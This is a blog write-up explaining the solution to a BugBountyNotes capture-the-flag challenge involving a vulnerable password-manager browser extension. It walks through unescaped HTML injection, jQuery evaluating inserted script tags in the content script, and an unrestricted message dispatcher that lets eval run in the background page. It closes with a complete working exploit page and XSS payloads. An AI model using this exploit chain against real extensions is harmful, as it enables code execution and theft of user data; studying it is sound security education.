BBN challenge resolution: Getting the flag from a browser extension

My so far last BugBountyNotes challenge is called Can you get the flag from this browser extension?. Unlike the previous one, this isn’t about exploiting logical errors but the more straightforward Remote Code Execution. The goal is running your code in the context of the extension’s background page in order to extract the flag variable stored there.

If you haven’t looked at this challenge yet, feel free to stop reading at this point and go try it out. Mind you, this one is hard and only two people managed to solve it so far. Note also that I won’t look at any answers submitted at this point any more. Of course, you can also participate in any of the ongoing challenges as well.

Still here? Ok, I’m going to explain this challenge then.

The obvious vulnerability

This browser extension is a minimalist password manager: it doesn’t bother storing passwords, only login names. And the vulnerability is of a very common type: when generating HTML code, this extension forgets to escape HTML entities in the logins:

      for (let login of logins)
        html += `<li><a href="#" data-value="${login}">${login}</a></li>`;

Since the website can fill out and submit a form programmatically, it can make this extension remember whichever login it wants. Making the extension store something like login<img src=x onerror=alert(1)> will result in JavaScript code executing whenever the user opens the website in future. Trouble is: the code executes in the context of the same website that injected this code in the first place, so nothing is gained by that.

Getting into the content script

What you’d really want is having your script run within the content script of the extension. There is an interesting fact: if you call eval() in a content script, code will be evaluated in the context of the content script rather than website context. This happens even if the extension’s content security policy forbids eval: content security policy only applies to extension pages, not to its content scripts. Why the browser vendors don’t tighten security here is beyond me.

And now comes something very non-obvious. The HTML code is being inserted using the following:

$container = $(html);
$login.parent().prepend($container);

One would think that jQuery uses innerHTML or its moral equivalent here but that’s not actually true. innerHTML won’t execute JavaScript code within <script> tags, so jQuery is being “helpful” and executing that code separately. Newer jQuery versions will add a <script> tag to the DOM temporarily but the versions before jQuery 2.1.2 will essentially call eval(). Bingo!

So your payload has to be something like login<script>alert(1)</script>, this way your code will run in the context of the content script.

Getting from the content script to the background page

The content script can only communicate with the background page via messaging. And the background page only supports two commands: getLogins and addLogin. Neither will allow you to extract the flag or inject code.

But the way the background page translates message types into handlers is remarkable:

window[message.type].apply(window, message.params)

If you look closely, you are not restricted by the handler functions defined in the background page, any global JavaScript function will do! And there is one particularly useful function called eval(). So your message has to look like this to extract the flag: {type: 'eval', params: ['console.log(FLAG)']}. There you go, you have code running in the background page that can extract the flag or do just about anything.

The complete solution

So here is my complete solution. As usually, this is only one way of doing it.

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>Safe Login Storage solution</title>
    <script>
      window.addEventListener("load", event =>
      {
        window.setTimeout(() =>
        {
          let container = document.getElementById("logins-container");
          if (!container || !container.querySelector("[data-value^='boom']"))
          {
            document.getElementById("username").value = "boom<script>chrome.runtime.sendMessage({type: 'eval', params: ['console.log(FLAG)']})<\/script>";
            document.getElementById("submit").click();
            window.location.reload();
          }
        }, 2000);
      });
    </script>
  </head>
  <body>
    <form action="javascript:void(0)" hidden>
      <input id="username">
      <input id="submit" type="submit">
    </form>
  </body>
</html>

Comments

There are currently no comments on this article.